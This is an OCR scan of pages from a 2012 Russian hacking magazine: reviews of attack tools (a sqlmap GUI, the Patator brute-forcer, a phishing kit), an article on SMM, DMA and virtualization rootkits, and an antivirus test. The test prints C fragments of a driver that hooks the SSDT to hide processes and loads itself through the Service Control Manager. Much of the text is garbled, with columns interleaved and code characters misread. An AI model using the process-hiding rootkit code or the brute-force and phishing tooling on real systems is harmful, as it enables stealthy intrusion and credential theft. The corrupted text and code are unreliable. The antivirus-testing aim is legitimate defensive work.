для различных сетевых проверок . К примеру,
данных работников этой самой организации.
GU I написан на питоне с примене нием tkinter и ttk . Инструкция по установке и запуску это го аддона под Windows выглядит с лед ую щим образом:
1. Качаем питон lactivestate.com/activepython l и sq lmap lsqlmap.org l. 2. П ом~щаем исходник GUI в пап ку, где лежит sqlmap.py. 3. Запускаем. Это все. Е сли ты уже был знаком с
sqlmap,
то
выделяется наличием шести
zping, zarpcache, ztcpscan, znmapport, filecopa
и
так дале е. В доn олнение к этому в соста в е
DirectoryScanner, которая работа ет п о тех нологии fingerpri nt ing'a и удал енно дет ектит
ути литы находятся также и модули для
все наиболее распространенные службы:
реализации МIТМ-атак
Novell eDi rectory, Microsoft Active Di recto r y, OpenLDAP Directory, Sun One Directory, Netscape Directory, IBM Lotus Domino, Oracle
lman in the midd lei. Из
др у ги х особенностей nporи можно выделить с лед ующие:
инжект выбранных модулей в выбранные
Diгectory. Тулза работает как в локальной
процессы;
сети , так и в ин т ернете.
крипт шелл -кодов;
и фичами; если нет, то обрати внимание на
работа с манипулятором nа ке т ов
«HelpMe>> -
П оможет в этом тебе заме чат е льная ути лит а
т акие проверки nр оводятся для
сразу же разберешься со всеми на ст р ойками вкла дку
ведь там вполне может храни ть с я очень
Особенности сканера:
Scapy.
•
з де сь хра нится п олный
сохране н ие отчетов в НТ М L-файл;
мануал п о всем командам тулзы. Дл я н ачала
Начатьработустулзойоченьпросто:запускай
рабо т ы с
скриптивводиоднуиэкоманд:
GU I т ебе необходимо выбрать/убрать опции в главном ок н е и нажать на кно п ку «ge tquery». Запрос к sqlmap отобразится в <<q uery to sqlma p». Перед нажатием на кнопку «Sta rt » ты сможешь отредактировать за пр ос п утем д о
enumeration lсканы се ти! ; exploits lсnлойтыl; mitm !атак а « челов ек посере дин е»!; autopwn !п о пр обовать автома ти чески
бавления недостающих настроек. Также автор
поим еть вы бра нн ую систему!;
рекомендУет огра ничиться д есятью пот оками :
sqlmap/lib/core/settings . py MAX_NUMBER_OF_THREADS =
1е
уд об ный и интуи тивн о nонятны й инт ерфейс;
conf !настройки утилиты!; help l n омо щьl ; about lo пр о гра ммеl; exi t ! вы хо д! .
с т о п / па уз а в любой моментскана; скан о дн ой или с ра зу нескольки х с истем ;
• •
локальная ус тановка и у даление скане р а;
удо бный выводлогов скан а в режиме реаль ного времени;
ис п ользование
Noveii - OpenLDAP SDK.
Помимо всего прочего эта утилита будет полезна системным администраторам для уда
ленного составления ката л ога с во их собствен ных Directory-cepвepoв.
ХАКЕР
076
EPIDEMZ.NET
05/160/20 12
X-Tools
Автор :
Sebastien Macke URL: co de.google. com /p/patator/ Система: *nix/ win
МНОГОФУНК ИОНАЛЬНЫЙ БРУТФОРСЕР PATATOR
сегодняшний день. Е сли ты ус тал от
[б рут poppassd, не РОРЗI, ldap_login, smb_login, mssql_login, o гa cle_login, mysql_login, vnc_logi n, dns _fo г waгd
ошибок, медлительности и недост а
[поиск саб дом енов l , dns_гeveгse
Patatoг- это одна из самых кру тых программ для брутфорса на
точного функцианала псгасk,
Medusa,
metasploit auxiliaгy,
Н уdга,
[поиск подсетейl, sпmp_login [б рут
SNMPv1/2 и SNMPvЗI, unzip_pass
пmар
ность утилиты , взгляни на список
[б рут зашифрованных ZIР-архивовl, keystoгe_pass [б рут Java keystoгe файлов). Впечатляет, не правда ли?
поддерживаемых ей протоколов и
Также из особенностей проги стоит
NSE
и иже с ними, тогда попробуй
Patatoг! Чтобы понять всю серьез
методов б рута: ftp_logiп,
ssh_login,
telпet_logiп, smtp_login [стандартный б рут smtpl, smtp_vгfy [брут smtp с по мощью команды SMTP VRFYI, smtp_ гсрt [б рут smtp с помощью кома нд ы SMTP RCPT ТО), http_fuzz, pop_passd
Автор :
Gregory Conti, Mariu s Ciepluch URL: code.g oogle.
выделить ее модульность, многоnо точность, интерактивность и продви
нутую систему легирования. Кстати, как и многие другие полезные для
нашего брата nрограммы, Patatoг написан на питоне.
Автор :
Автор:
Brian Carrier
savioboyz URL: Ьit . ly/m 4VCT W
URL: sleuthk it.org / sleuthkit Система : Windows
c o m/p/Ьin vis Система : Wind ows
Система :
ФРЕЙМВОРК BinVis-
это nроект, предназначенный для
• nix
ЛЯ ФИШЕРА
Ghost-ph i sheг- зто набор средств для проведе
визуализации структуры бинарных файлов.
Представляю твоему вниманию
Эта по-настоящему хардкорная программа
[TSKI - интереснейшую ту л зу, которой пользу
ка аутентификационных данных и поддельных
поможет тебе в nоиске подозрительных
ются комnетентные органы и nрофессиональные
серверов
частей упакованных или за ш ифрованных
цифровые сыщики. Что же nредставляет из себя
ваться в качестве
Итак ,
TSK- зто
The Sleuth Kit
коллекция консольных
ния фишинговых атак. Набор состои т из сборщи
DNS, DHCP и НТТР. Может ис п ользо honeypot'a, для обс л уживания
DNS/DHCP-зaпpocoв, а также собствен н о для
ехе'шников и других исnолняемых файлов.
TSK?
Утилита пр едостав ля е т в озможность на
утилит, которые nозволяют исследовать жесткие
фишинговых атак [ н о п омни, что зто незаконно!l. Основные фичи последней версии комплекса:
глядного обзора hех-кода для облегчения
диски и системные файлы. Данная программная
ориентации и более глубокого nонимания
библиотека легко может быть внедрена в любую
возможность проведения различных пенте
структуры бинарника.
криминалистическую комnьютерную систему.
стов;
Особенности и функционал проги:
Вот лишь некоторые возможности комплекса:
интеграция с
•
Metasploit Fг amewoгk;
удобный ~инту_итивно понятный интерфейс;
анали з сырых образов файловых систем ;
клонирование НТТРS;
интерактивныи просмотрщик hех - структур ;
поддержка
фокусировка по шаблону и сэмnлам;
EXTЗFS и
•
у мное изменение размеров экрана для поль
просмотр строк и ресурсов в РЕ- и
NTFS, FAT, UFS1 , UFS2, EXT2FS, ISO 9660; поддержка загрузки у тилит на Li veCD [таким
ЕLF-файлах;
образом можно исследовать пiх-систему
• •
дружелюбный интерфейс;
парсинг
HTML;
зователей нетбуков и планшетников;
получение шаблонов д ля криптоанализа;
после случившегася инцидента);
обнаружение кодирующих и упаковываю
поиск файлов, скрытых или модифициро
щих алгоритмов;
ванных руткитам и;
возможность загрузки своих пзйлоадов и
определение стеганографи и по ша б л ону;
отображение измененных и удаленных
я д овитых НТМL-страни ц.
визуальноебинарное сравнение .
файлов;
отображение атрибутов
NTFS [включая
автоматический редирект после примене ния нужного сплойта;
Дл я правильной работы Ghost-phisheг нужен
Также стоит отметить, что данная nрограмма
альтернативные файловые nотоки);
следующий софт: pythoп-qt4, dhcpЗ-seгveг,
работает на nлатформе
построение графиков и отчетов;
xteгm , subveгsion . Установка тулзы также не
.N ET
и поставляется
с откры ты м кодом . Разработчики nризывают
отображение найденных подозрительных
вызывает каких-либо осложнений:
всех и каждого присое д иниться к развитию
файлов согласно ихтипу;
ghost-phisheг_ 1 . 3 _ all . deb. Еще стоит отме
nроекта, так что если тебе понравился про
сравнение хеш ей файлов с их оригинальны
тить , что Ghost-phisheг не предназначен для
дукт- смело заходи на страничку
ми хешами в базеданныхтулзы.
скрипт-киддисов . Для использования данного
BinVis
и
комплекса утилит тебе понадобятся базовые
ищи контакты. В целом же программа являе т ся хорошей отправной точкой для з на комства с ВlасkВох-сценариями атак.
ХАКЕР
dpkg -i
За nодробнейшей документаЦией отправляйся на официаль ны й сайт Th e Sleuth Kit.
знания о работе основных сетевых протоко лов, а также навыки работы с
HTML.
077
05/160/2012
EPIDEMZ.NET
MALWARE
Александр Эккерт (stannic.manГcJgmail.coml
Сегодня мы с тобой попытаемся
железа и виртуализацию
ХАКЕР
EPIDEMZ.NET
Видимо, уж очень скучно было Джоанне, если она сумела накалбасить руткит, который с чьей то легкой руки был назван
Blue Pill- из-за
сходства с фильмом «Матрица». Пр о руткит
Pill
Blue
не писал р~зве что ленивый. В свое время
каждое уважаемое !Т-издание так или иначе затронуло эту тему. Поэтому останавливаться на
СУЩЕСТВУЮТ ТЫСЯЧИ ВИРУСОВ
И РУТКИТОВ, КОТОРЫЕ ПОТРЯСАЮТ ВООБРАЖЕНИЕ НОВЫМИ ТЕХНОЛОГИЯМИ
И ИСПОЛЬЗОВАНИЕМ УЯЗВИМОСТЕЙ ОС
этом не будем- в Сети информации о нем полно
[например, здесь: goo.gi/Ьi4gt , goo.gi/KhXKw и еще на множестве других ресурсов!. К моему великому сожалению, кроме
Pill
Blue
тетя Рутковска в этом направлении более
например, сетевую карту . Думал ли ты о том,
гипервизор вполне по силам продвинутым
что любой сетевой пакет, пришедший извне
одиночкам.
на твой комп, сначала будет обработан ядром
Тут есть одно <<НО>>: надо учитывать, где
системы? Если ты не nонял, повторюсь- су
будет находиться программный код- на
тихонечко скончался, не приходя в сознание,
ществует кошмарная возможность поработить
диске или в
и даже деньги на поддержку доменного имени
твой комподним сетевым пакетом. Всего од
так страшно, однако резидентный модуль
ничем не отличилась. А сам
Blue Pill
Pгoject
BIOS'e. Если на диске - зто не
Ыuep i l lpгoject.oгg кончились, и там давно уже
ним. Когда сетевая карта его примет и обра
виртуализации [то есть гипердрайверl в BIOS'e
ничего нет.
ботает, она передаст его драйверу миниnорта
означает только одно- твой комп превращен
сетевой карты, который исполняется на уровне
в зам б и и зто уже не лечится .
После яркой демонстрации возможностей виртуализации начали происходить довольно
ядра, то есть в гingD, со всеми имеющимися
странныеинепонятные вещи. Казалось бы,
привилегиями . И неважно, есть у тебя файрвал
используется некоторыми производите
технологии виртуализации на тот момент
или нет. Поскольку до того момента, как
лями программнога обеспечения. К при
были на острие научного прогресса, но на
файрвал проснется, пакет уже будет обработан
меру, универсальные способы размещения
деле каких-либо внятных примеров использо
ядром. И nредставь, он будет нести какие-то
дополнительных программных модулей во
вания виртуализации мы не увидели. Заметь
жутко секретные процессорные инструкции,
флеш-памяти
-существуют тысячи вирусов и руткитов,
которые мгновенно сделают из твоего ком па
и используются даже в легальных коммерче
которые потрясают воображение новыми
послушного раба. И где будут в это время все
ских продуктах типа Computгace
технологиями и использованием уязвимастей
эти хваленые аверы?
компании Absolute Softwaгel.
операционных систем, однако они- всего
Тебя не должно сбивать с толку слово
лишь хлеб для антивирусных программ, и не
<<виртуализация» . Виртуализация прочно
более того.
связана с понятиям и гостевых ОС, гиперви
Руткиты, которые дают истинную власть над машиной, создающие что-то наподобие
зорами, облачными вычислениями и прочей шнягой, и самое главное- в нашем сознании
«Матрицы», когда ты думаешь, что живешь
прочно укоренилась мысль о том, что все, свя
в реальном мире, а на самом деле операциан ка
занное с виртуализацией, сложно, непонятно,
Аппаратная виртуализация, кстати, уже
BIOS'a уже давно отработаны [LoJack от
В общем, виртуализация- жутко интерес ная и малоисследованная тема .
Попахивает всемирным заговором, но, мо
жет быть, это все мои пьяные фантазии
:1.
Хотя ... очень занимательная статья на тему:
x akep . гu/post/581 04.
SММ-РУТКИТ
на твоем компевсего лишь сон,- такие рутки
имеет громоздкую программную инфраструк
ты никто никогда не выявит. Сомневаешься?
туру, а создание таких систем- это удел
SMM [System Management Mode- режим
А ты уверен, что
крупных фирм, обладающих штатом про
системного управления! - это особый режим
ры свой гипервизор? Или не использует некий
граммистов в сотни, если не тысячи, человек .
исполнения на процессарах х86/х86_64, при
тайный набор команд процессора, которые
Это миф. После того как аппаратная виртуа
могут заставить выполнить что-то очень нехо
лизация появилась в процессарах и чипсете,
рошее? Я как-то писал об этом ... Вот возьмем,
вдруг оказалось, что создать свой аккуратный
lntel
не вnаивает в процесса
OxFFFFFFFF
котором приостанавливается исnолнение
другого кода [включая операционные систе мы и гипервизорl и запускается специальная
SMEAM OxBFFFF
SMBASE+DxFFFF
SMBASE+Dx8000
DxAOOOO [SMBASEI .
ОхОООООООО
Регион памяти, которая выделяется под
SMRAM
EPIDEMZ.NET
Шина
Контроллер
PCI
Процессор
памяти
DМА-доступ
Физическая память
Пример использования
DMA
программа, х ранящаяся в SM RAM в наи
более привил е гированном режиме ISММ обработчикl. Р ежим систем н о г о управления SMM п ерво
П осле включения компьютера, получив
Более подробно о SММ-рутките, п ерех ва
управление в процессе отработки BIOS POST,
тывающем на жати я к лавиш в Windows, можно
руткит перепрограммирует обработчик SMM ,
почитать здесь: goo.gl/12aPK .
до бавив к нему какой-то свой зловредный
ПРИЧЕМ ТУТ ОМА?
начально был соз дан компанией ln tel д ля того,
код. Вся прелесть этого дей ства в том , что
ч т об ы производители аппаратного обеспе
SММ -п рерывание неуловимо для обычных
Эта тема связана с т ематикой с т атьи лишь
чения мо гли об н аруживать о шиб ки в работе
п риложений, пот ому что , к ак мы уже говорили,
косвенно, о днак о не у помян уть ее я пр ос т о н е
с вои х продуктов при п омо щи пр ограммнога
э т о другой , специальный режим работы про
могу !ина ч е редактор р убрики отнимет у меня
обеспечения. Также э та т ех нол о гия использу
ц ессора.
е т ся для уп равления режимами ра бо ты ком
Плю с у SММ-руткита всего один, но о н
права н аи нт е рн е т на ш есть месяцев! . Итак , мы уже писали о том, что существуют как пр о т о
пьютера- напри мер, д ля перевода сис т емы
огромен: интеловский SММ-обработчик можно
типы, так и впол н е работос п особ ные р у ткиты,
в с пящий р ежим.
«спря тать >> - после выставления спе ц иального
вс т роенн ы е в ко мпьют е рно е же л езо - напри
Особая часть па мяти, которая выделя етс я
регистра его точный адрес найти буд е т нельзя
мер в сетевые ка рты . Н о речь уже и дет с ов сем
для н уж д SMM, ос та е тся нееидимой для о п е
и, соответственно, невозможно будет д обра т ься
о другом- о том, как мож н о ис п о льз о вать для
рационной сис т емы. На хож д ение ко д а в з т о м
до области памяти, где он распо л а г ается.
порабощения сис т емы особеннос т и архитекту
се гм е нт е пам яти да ет а та кующему полную
А в от минусов мно г о: SММ-руткит- это
ка ртин у то г о, ч т о пр оисходит в данный моме нт
жутко железозависимая штука. Е сли т ы хоть
времени в о п ера тивн ой пам я т и к омпьютера.
н емного в теме, то н аверняка обратил внима
В о тл ичие о т ко д а Blue Pi ll, использующего
ние на такую вещь - SММ-руткит буде т жи ть
ма лора с пр ост р а н е нны е с истемы виртуа л иза
только на интеловской платформе. Различия
ции , р азработка руткита использует сис т ему
в архитектуре основных произво д ителей
SMM, которая су щ ес тв ует в компь ют ер ах со
процесс орав lntel и AM D столь существе н ны,
времен появления п оз дни х 386-х процесса
ч т о эмуляция режима SMM на д М О-платформе
ра в.
просто не да ст отработ ать такому зверьку.
ВИКИПЕДИЯ ПРО «ГОЛУБУЮ ПИЛЮЛЮ» На случай, если ты не помнишь про
Blue
но в дальнейшем в программу была добавлена
Pill вообще ничего, вот тебе небольшая
также и поддержка lntel VT- x !кодовое
справочка из Википедии . « Голубая пилюля >>
имя Vanderpool) . Разработана Джоанной
кодовое имя класса руткитов, основанных на
Руткоаской и впервые была публично
использовании аппаратной виртуализации.
продемонстрирована на конференции Black Hat Briefings 3 августа 2006 года в виде образца реализации для ядра Microsoft Windows Vista.
Первоначально программа
Blue Pill
требовала
поддержки процессаром виртуализации
AMD-V !ранее известной как Pacificai ,
EPIDEMZ.NET
ры самого железа.
Например , ОМА. Это такая технология, ко торая помога ет снизить нагр узку на процессор
в обработке «с ырых >> данных, по ступаю щи х с периферии. Она т ак и называется- Oiгe ct
Меmогу Access !пр ямой до ступ к памяти! . Н а пример, РСI-шина может напр ямую обра щ ать ся к физической п амя т и, минуя процессор. Дл я этого она испбльзует спе ц иаль н ые контролле ры памяти.
П оскольку ОМА- чрезвычайно широко распространенная т ех нология, таки е чуваки,
как Дамьен Омзтр IOamien Aumaitгel и Кри
КОД ОПЕРАЦИОННОЙ СИСТЕМЫ ИСПОЛНЯЕТСЯ НА ОДНОМ
CPU, А
КОД
БУТКИТА-НА ДРУГОМ. ДЛЯ ЭТОГО БУТКИТ
ОТКЛЮЧАЕТ SMP, ОГРАНИЧИВАЮЩИЙ ЧИСЛО ПРОЦЕССОРНЫХ ЯДЕР В ОС
стоф Дев ин IChгistophe Oevinel , озаботились вопросом ее использования и родили на свет
нормальное исполнение процессов в Windows.
памяти. Гл у пая система честно считает, что
ОМА-руткит. Н е будем сейчас вдаваться в до
Делается э т о, как ты з на ешь, по-разному
у н ее в распоряжении, скажем , 900 Мб и з 1024,
вольно сложные технические п одробности
хуки, инжекты ... К пример у, все буткиты
и да же н е подозревает о том , что в вер хней
того, как ус тро ен этот руткит, но факт остается
используют п е ре х в а т пр ерывания INT1 3, чтобы
части фи зической памяти на неиспольз о в а н
фактом- при помощи н есложно го устрой
ны х ядр ах пр о ц есса ра крутится зловредный
к РСМСIА-разъему на ноуте, им уд алось по
обеспечит ь п е р ехват чтения с диска !nривет, начало 90-х! - П ри м. ред.l. В основе Evil Саге лежит конструк т ивная
ставить на колени Windows 7х64 . И это н е
особенность современных компьютеров
коду самой опера ционной системы, а имен-
смотря на все прелести защиты системы типа
многоядерность. Тех нол огический процесс
н о всяким там анти вир усам, проа к т и в кам,
PatchGuaгd, Code signi ng и l ntegгity checks.
полупроводникового производства не по
HIPS'aм, honeypot ' aм и пр очей ш у ш ере. При
зволяет бесконечно увеличивать мощность
этом Evil Са г е обладает д оступом ко всему
ства ! ос н ован н ого на ППВМ 1 1, подключенного
1
ППВМ- про гр аммируемая пользователем
код. Он пр осто выполняет, что ему взд умается, в полной увере нн ости, что буд ет недоступен
вентильная ма триц а IField-PгogгammaЫe Gate Аггау, FP GAI- полупроводниковое устрой
процессоров, и современные hitесh-компании,
объему имеющейся физической !оперативной!
специализирующиеся на выпуске процессо
памяти , ко в сем пользователям и пространству
ст в о, которое может быть сконфигурировано
ров, п ош ли другим путем !больше ядер, хоро
памяти ядра.
пр оизводителем или разрабо тчи ком п осле
ших и разных, на одной матплатеl, разработав такую технологию, как SMP- Symmetгic
изготовления.
lifjili•i;Jil
ЗАКЛЮЧЕНИЕ Мне думалось, что будет веселее . Одн а
Multipгocessing. Этим и пользуется Evil Саге. П роще говоря,
ко- н ет, ув ы . Р утк итов, которые смо гли бы
Крутые чуваки из Австрийского универси т е та
ко д ОС исполняется на одном CPU, а код бут
при с п оеобиться п о д особе нности конкрет
прикладны х н аук п о имени Вольфганг Этлин
ки та- на др у го м. Дл я этого буткит отключает
ного ком пьют ерно г о железа и архитектуры,
г ер IWolfgang E ttlinge гl и Стефан Фибек IStefan
SMP, ограничивающий число процессорных
оказалось ра з -два и обчелся. Н о в се -т аки
Viehbockl в зяли да и написали буткит нового поколения- Evil Саге. Суть его, как и всего
ядер в ОС.
надо признать: рутки ты , кото ры е использу
г ениального, очень проста .
загружается на до с т уп ные процессоры , Evil
наиболее опасные. Н е хотелос ь бы с ними
Саге изменяет параметры загрузки, уведомив
столкнуться в реальной жиз ни. Тем бо л ее
Е сли бегло оглядеть коллекцию выявлен
В то время как операционная система
ют особенности компьютер ног о железа,
ных на се г одняшний д ень руткитов/буткитов,
операционную систему, что физической памяти
что подавляющее большинство антивирусов
можно заметить, чт о об ъ е д и ня ет всю продви
ОЗУ д оступно меньше , чем на самом дел е .
здесь будет бессиль н о . Д а пребудет с тобой
нутую малварь: чтобы с д елать что-то в ин
Затем Evil Саге помещает свой код туда, где,
Сила! И пусть обходит тебя с тороной злая
тересах злоумы шл енника, надо перехватить
по мнению ОС, находится конец физической
виртуализация!~
-
Познавательная
КОММЕНТАРИЙ ЭКСПЕРТА
статья о развитии
семейства буткитов :
aoo.qllzoDx6.
Александр Матросов ,
которые позволят выnолнить вредоносный код в режиме
Senior malware researcher, ESET
Сейчас сложные угрозы со стороны вредоносных программ
ядра , а второй- это как раз nоиск различных ухищрений
развиваются по такому пути, что в обозримом будущем все
в особенностях работы современных nроцессоров . Но искать
существующие способы их загрузки и выполнения в контексте
все эти ухищрения очень неnросто , и более того- рассчитаны
ядра операционной системы могут быть при крыты . Сейчас
они могут быть nод конкретную модель процессора , что
самым распространенным способом загрузки вредоносного
сильно сужает покрытие nотенциальных жертв . Такой сnособ
драйвера является использование буткит-функционала,
скорее nодходит для nроведения целенаnравленных атак,
который на стадии загрузки операционной системы
но не для массового вредоносного ПО. Общаясь с авторами
деактивирует все защитные проверки IOimarik, Olmasco,
концепта того же
Rovпix) . Но с выходом новой версии Microsoft Windows 8
способ малопригоден для реальных атак ввиду своей крайней
с те х нологией
Secure Boot,
Evil Соге, я пришел к выводу, что данный
нестабильности , но как РоС нового вектора атаки очень
позволяющей проверять
корректность загрузочного кода и противодействовать ее
даже интересен . Также в
модификации , авторам буткит-технологий придется искать
технология Early Launch Antimalwaгe IELAMI, которая
либо уязвимости для
позволит антивирусным вендарам загружаться раньше
Secure Boot, либо
вообще другие пути
Windows 8 nоявится сnециальная
загрузки неподписанных модулей ядра . А тут возможных
всех остальных и более эффективно противодействовать
вариантов развития событий остается не так много: первый
активному заражению и тому же ОКОМ IDirect Kernel Object
это поиск в ядре и сторонних драйверах уязвимостей ,
Manipulation) .
EPIDEMZ.NET
Видео
с демонстрацией
техники
использования Evil Соге смотри здесь :
vimeo.com/25372729.
MALWARE
Евгений Дроботун [drobotuniOxakep.rul
Тест антивирусов:
ЯДРОПОД ... УГРОЭОИ ПРОВЕРЯ ЕМ СПОСОБНОСТЬ АНТИВИРУСОВ ПРЕДОТВРАЩАТЬ ПРОНИКНОВЕНИЕ В ЯДРО WINDOWS Антиа~тивирусная лаборатория журнала
МЕТОДИКАТЕСТИРОВАНИЯ
«Хакер» очень любит операционную систему
Microsoft Windows. А
все потому, что в ней есть
ядро, доступ к которому нам ужасно нравится
получать . Например, Александр Эккерт любит бурить ядро всякими экзотическими способами. Но сегодня мы испытаем вполне классические приемы и посмотрим, что по этому поводу скажут
Для сегодняшнего тестирования был взят один из самых распро страненных и хо рошо документированных способов проникнове ния в ядро - проникновение с помощью драйвера. Н есмотря на такую известность, д анный способ на ш ел применение в различ ных вредоносных программах и ис п ользуется в них в основном
для того, чтобы скрыть присутствие вредоносного кода в сис т еме
или обезвредить и вывести из строя антивирусные и защитные средства. Из всего многообразия проявлений вредоносности мы выбрали скры т ие процесса из списка процессов, выводимых
Task Мапаgег 'ом, что, в общем-то, очень п одозрительно и должно пресекаться антивирусными средствами на корню.
товарищи антивирусы.
Для загрузки вредоносного драйвера было отобрано четыре способа:
А товарищи антивирусы, надо заметить , наделяются элементами
проактивной защиты. Мы уже не раз ее испытывали и сегод ня снова проверим, как с пр авляются с проникнов ением в ядро
Windows вредоносного кода несколько антивирусных продуктов, которые в бо льш ей и л и мень ш ей степени пользуются популярно
стью на простерах нашей н еобъятной родины.
1. Загрузка с помощью менеджера сервисов !драйвер находится в отдельном файле] .
2. Загрузка из тела программы с помощью менеджера сер висов. 3. Загрузка драйвера в виде отдельно г о файла с помо щь ю функ ц ии NtloadDгiver.
4. Загрузка из тела программы опять же с помощью NtloadDгiveг.
ХАКЕР
082
EPIDEMZ.NET
05/160/2012
Тес т а н тивирусов : я др о п о д у г розой
7' llac тpo~11H SpiOcr Guard
"
__
Проверка
~ ~~оме"-Ауепя) , _,
0 Исnмьюмть~т~/lti/lnн)(рекоt~енАуется)
Доnопннтеnьньtе 80)МO)I(tю(Tti
0 Гipoe8J>ЯTIDP4бoT.-ou.J,Нt~~HitOAY.IIН D ~IН:Т~ПМ8ТЬI O ~тьoб~~81'1CJQ~ceти(~.epei(Ottettlyeтcя)
llocм.&/t'OI1~фliVI:
C:\Wtt.OO'NS\J't"tem32\nU\00 19\I'МIU. cl
0 Проееряn. обWКТЫ на С"'оеt1НЫХ НD01TIIIЯX 0 6~Tbii8TID~KCOC-110CНTM8H
."
КОМ«1'ео~: Oбн.ipvxettOoбWit'loe : ГloAOJPt1T8-~:
~~: 118ре!1ещеtоОф.МО.:
~~ФtКnое :
YA&IIIttOф.ti!Jioe:
М одуль
Модуль
Realtime Protection в Avira Free Antivirus
Конечно, это далеко не все способы загрузки драйверов, которые могут использовать вредоносные программы, но пока
SpiDer Guard
в антивирусе
Dr.Web
могло бы повлиять на результаты работы , я не обнаружил . Сам модуль я, конечно же, включил.
• Outpost Firewall Рго 7.5
этого, я думаю, будет достаточно.
Данный nродукт стоит несколько особняком среди всех подопь1т
ПРЕДСТАВЛЯЕМ ИСПЫТУЕМЫХ
нь1 х. Полн о ценным а н тивирусным средством о н не яв л яется, что,
На сегодняшнее тестирование к нам приехало [не по своей воле,
в общем-то, и отражено в его названии, од н ако в е г о состав включе
конечно] целых семь продуктов от различных компаний, причем
ньl дов о льно-таки серьезные компоне н ты проак т ив н ой защиты .
среди них присутствует и тройка самых популярных в России ком мерческих антивирусов. Итак, начнем по порядку.
•
Антивирус Касперекого
За проактивную защиту в нем отвечает компонент, который так
•
ПИШЕМ « ВРЕДОНОСНЫЙ » ДРАЙВЕР Я д ума ю, тебе известно, что для вывода списка процессов в недрах
20 12
Windows предусмотрена функция CгeateToo l help32Sпaps h ot, кото
и называется: << П роактивная за щ ита». Он, если верить настрой
рая , в свою очередь, базируетсянане д окументирован н ой фу н кции
кам, должен отслеживать в том числе и события, которые нас
Z w Qu e г ySyste mlпfoгmatioп. С помо щ ью н ее мож н о п о л учить много
интересуют: скрытую установку драйвера и изменения ядра
в сякой разной информации о системе, в том числе и список про
операционной системы.
це ссо в , запу щенных на машине . Перех в атив эту функцию, можно
Dr.Web Security Space 7.0
фильтровать пол у ченный резул ьтат как д уше у г о д но, в том числе
В этом антивирусном про дукте за проактивкуотвечает модуль
и скрыть нуж ный процесс. П ерехват будем осу щ ествля т ь старым
<<S piDe г Guaгd >> . Он, как сказано в о п исании,
как мир, но эф фективным и на д еж ны м способом - заме н ой адреса
<< ... постоянно отслежи
вает действия запущенных п роцессов, харак т ерные для вирусов,
обработчика нуж н ой функции в табли ц е систем н ых сервисов, или,
и при обнаружении угроз безопасности блокирует соответствую
как ее еще называют, SSDT [System Seгv i ce Descгiptoг ТаЫеl.
щие процессы ... >> . Для верности при тестировании включим пара Замена обработчика
ноидальный режим проверки.
ESET NODЗ2 Smart Security Ответственность за проактивную защиту здесь возложе н а н а
систему предотвра щ е н ия вторже н ий на узел, которая
<< ... дает
возможность контролироватьдействия п р иложений и процессов и предотвращать нежелательное поведе н ие ... >> . Настроек в этой системе практически не т , только включение и выключение.
NtQuerySystemlnformation в SSDT на новый switch (*NtBuildNu mb er) { /} ОпреАеляем версию Windows case беее : // Windows Vista OldZwQuerySys t emlnformation = ( PZwQu er y Sy st eminfo rmat i on) * KeServiceDescriptorT a Ьl e-> nt oskrn l. Se rvi c eTaЫ e [ exfB ] ; KeServiceDescriptorTaЬle - > ntosk rnl. Serv i ceTaЬl e[ 0xf8 ]
(NTPROC)*NewZwQuerySystemiDf ormation;
Comodo lnternet Security Pro 2012 1 В Comodo , в отличие от некоторых антивирусов, оче н ь богатые настройки, п росто глаза р азбегаются. Ком п онен т, реал и зую щ ий проактивную защиту, здесь зовется <<З ащита+ >>. Как видим,
Дополнительные насrройки
в настройках этого элемента присутствует настройка реакции и на загрузку драйверов устройств и на хуки
Windows -
fiJ(RJ
е> ~SП Smart Scc ur~ty
C..CTeN1118AOП!peщeнt~~IJТop~l14)')tn
как раз
0er.u.o.m. Q<Тett')' 1118A0Tepelll- tторжежiiн.е )')t1l 0~otOAYIIo(МOМW,Нn.ISef-defense
то, что на с се годня собственно и интересует.
• avast ! lnternet Security Еще один участник нашеготеста-продукт avast ! l nte г net Sec u гity версии
6.0.1.367. Все за щ ит н ые ком п оненты з д есь и ме н уются
экранами, и комnонен т проак т ивной защи т ы носи т имя <<Экра н поведения >> . Исходя из настроек, этотэкран позволяетотслежи вать в системе
<< ... руткиты
PeA.rnJP~
н изкого уровня, отслеживать в системе
~OI'(IeA~T,otel<m/111tf10'!1!-6yAeT I"C)eAOCТ<11811eНAOCyYniC О!'(lеАе-~,частякреестро!iкnнАР)'Jl"М~.
поведение , напоминающее действие вредонос н ых программ, и от слеживать в системенераз р е ш енные измене н ия
•
...>>.
Av i ra Ant i Vir Personal- Free Antivirus В этом продукте n рисутс т вует один модуль, который, если судить по на з ванию , и должен отвечать за проактивную защиту. Он но си т имя
<< Realtime
Pгotection >>. На с тройки скудноваты - помимо
включения и выключения этого элемента за щ иты, ничего, что
ХАКЕР
Система nредотвращения вторж ений на узел в
NOD32
083
05/160/ 2012
EPIDEMZ.NET
MALWARE break ;
Загрузка драйвера
с
nомощью
SCM
bool LoadDriver() ... 11
код для других версий
case 2бее : // Windows ХР OldZwQuerySysteminformation
Windows
=
{
SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); i f (! sh)
(PZwQuerySysteminformation)
*KeServiceDescr iptorTaЬle- > ntoskrnl .ServiceTaЫe[ exad ];
{
return false ;
KeServiteDescriptorTaЬle->ntoskrnl.ServiceTaЬle[ exad ]
(NTPROC)*NewZwQuerySysteminformation; break ;
SC_HANDLE rh = CreateService(sh , L"testdriver" , l "testdriver" ,SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,L "c:\\testdriver.sys" , NULL,NULL,NULL,NULL,NULL); rh = OpenService(sh,L "testdriver" ,SERVICE_All_ACCESS) ; StartService(rh, е , NULL);
Как видим, в коде присутств ует ф у нкция
NewZwQueгySystemlnfoгmation. Это и есть новый обработчик
функции, и описывается он таким образом lсм. врезку).
if (GetlastError()
==
ERROR_SERVICE_ALREADY_RUNNING)
{ драйвера состоит в использовании менеджера у правления сер
ви с ами ISeгvice Contгol Manageг,
SCM).
Для этого nрименяются
/1
Все
в nорядке
АР I - функции OpenSCManageг, далее CгeateSeгvice, OpenSeгvice и StaгtSeгvice . Сам драйвер nредварительно записан на диск С.
-
На диске
НОВЫЙ ОБРАБОТЧИК ФУНКЦИИ ZWQUERYSYSTEMINFORMATION
лежат полные исходные коды
« вредоносного•>
драйвера и тестовых программ.
NTSTATUS NewZwQuerySysteminformation IN ULONG SysteminformationClass, IN PVOID Systeminformation, IN ULONG Systeminformationlength, OUT PULONG Returnlength)
